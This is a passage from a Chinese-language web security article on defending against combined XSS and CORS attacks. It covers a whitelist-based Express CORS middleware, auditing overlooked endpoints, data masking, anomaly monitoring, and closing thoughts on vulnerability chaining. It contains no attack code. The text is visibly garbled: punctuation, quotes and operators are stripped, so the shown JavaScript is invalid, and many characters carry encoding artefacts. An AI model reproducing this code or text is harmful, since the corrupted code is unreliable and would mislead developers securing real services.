*同時出現(xiàn)。以Node.js/Express中間件為例一份相對穩(wěn)妥的CORS配置長這樣const allowedOrigins [ https://app.example.com, https://admin.example.com ]; app.use((req, res, next) { const origin req.headers.origin; if (origin allowedOrigins.includes(origin)) { res.setHeader(Access-Control-Allow-Origin, origin); res.setHeader(Access-Control-Allow-Credentials, true); res.setHeader(Access-Control-Allow-Methods, GET,POST,PUT,DELETE,OPTIONS); res.setHeader(Access-Control-Allow-Headers, Content-Type,Authorization); } if (req.method OPTIONS) { return res.sendStatus(204); } next(); });這份配置的關(guān)鍵點有兩個一是只認(rèn)白名單內(nèi)的來源二是白名單之外的請求不會獲得任何CORS授權(quán)瀏覽器端就無法讀取響應(yīng)。如果業(yè)務(wù)上有大量動態(tài)子域名的需求不能寫死白名單那也要實現(xiàn)“域名后綴匹配”的邏輯——比精確匹配更嚴(yán)格的是校驗子域名和協(xié)議是否一致絕不能簡單地把Origin原樣反射成Allow-Origin。另外一個容易被忽視的坑是安全團隊修正了主API接口的CORS配置卻漏掉了靜態(tài)資源服務(wù)器、CDN回源接口、第三方回調(diào)接口。攻擊者一旦找到某個邊緣接口的配置仍然是反射Origin配合XSS照樣能完成組合攻擊。修CORS問題要做一次全網(wǎng)接口的全面排查而不是修一兩個頁面了事。6.3 數(shù)據(jù)層兜底方案即使漏洞被利用也要讓數(shù)據(jù)損失最小化防御的最終目標(biāo)是“即使防線被突破攻擊者也拿不到高價值數(shù)據(jù)”。這一層是縱深防御的最后一道關(guān)口具體可以從幾個維度加固。對敏感接口做額外的數(shù)據(jù)分級授權(quán)。比如手機號、身份證這類高風(fēng)險數(shù)據(jù)在后端響應(yīng)之前要確認(rèn)當(dāng)前會話的IP、設(shè)備、行為上下文是否符合預(yù)期一旦檢測到跨域請求甚至可疑Referer寧可返回脫敏數(shù)據(jù)也不返回完整數(shù)據(jù)。其次對API響應(yīng)統(tǒng)一做字段級脫敏前端即使跨域拿到了響應(yīng)拿到的也只是一堆掩碼后的手機號和虛擬郵箱利用價值大幅縮水。還有一點很重要建立異常行為的實時監(jiān)控。組合攻擊的回傳請求通常會有明顯的特征——短時間內(nèi)大量攜帶憑證的跨域請求或者同一會話在多個源之間跳轉(zhuǎn)讀取數(shù)據(jù)。把這類行為納入風(fēng)控模型一旦命中就觸發(fā)二次認(rèn)證或強制踢下線攻擊者的收割效率就會大打折扣。數(shù)據(jù)層的兜底雖然不能阻止第一次請求發(fā)出但能讓攻擊者拿到的“戰(zhàn)利品”變成雞肋從而大幅降低攻擊動機和經(jīng)濟收益。7. 延伸思考從組合漏洞看Web安全的整體視角講到這里XSSCORS組合拳從原理到復(fù)現(xiàn)再到防御已經(jīng)完整梳理了一遍。但我想在文章的尾巴上聊一點技術(shù)之外的東西因為這直接關(guān)系到你以后做安全研究或者防御設(shè)計時的思維方式。我在實際測試和團隊分享中反復(fù)強調(diào)一個觀點Web安全問題的本質(zhì)不是“某個漏洞是否存在”而是“多個看似孤立的弱點之間是否可以被編排成一條攻擊鏈”。很多團隊每周都在掃描漏洞、修漏洞但修的思路就是“掃描器報什么我修什么”完全不去想這個漏洞和其他配置缺陷之間的關(guān)聯(lián)關(guān)系。結(jié)果就是XSS修了一個點另外十個點還在CORS配置改了一個接口另一個接口還露著。攻擊者從來都是鏈?zhǔn)剿季S防御者也必須建立鏈?zhǔn)揭暯?。這正是我在文章開頭強調(diào)“組合拳”的初衷。如果你想把這類思路再往外推一推有幾個方向值得研究XSSJSONP劫持的組合、CORS子域名接管配合、點擊劫持CORS跨域?qū)懖僮鞯?。每一種組合都有其特定的適用場景和數(shù)據(jù)價值換湯不換藥。核心方法是固定的先梳理目標(biāo)系統(tǒng)有哪些可被注入的入口、有哪些可被跨域讀寫的敏感接口、有哪些信任邊界被錯誤放行再把這些點用數(shù)據(jù)流向串起來你看到的就不只是“幾個中危漏洞”而是一個安全體系的全貌。我個人在做這個模擬項目X的時候最大的體會是當(dāng)攻擊者同時掌握XSS和CORS這兩塊拼圖時攻擊成本低得驚人——一段不到1KB的JavaScript就能完成從觸發(fā)到回傳的全流程不需要任何服務(wù)器端權(quán)限也不需要安裝惡意軟件受害者從頭到尾沒有任何感知。這恰恰是Web前端攻擊最讓人后背發(fā)涼的地方也是安全建設(shè)里最需要投入精力去防御的方向。希望這篇文章能幫你把這條鏈路的每個環(huán)節(jié)都看透讓“知其所以然”成為你做安全測試和防護設(shè)計的基本功。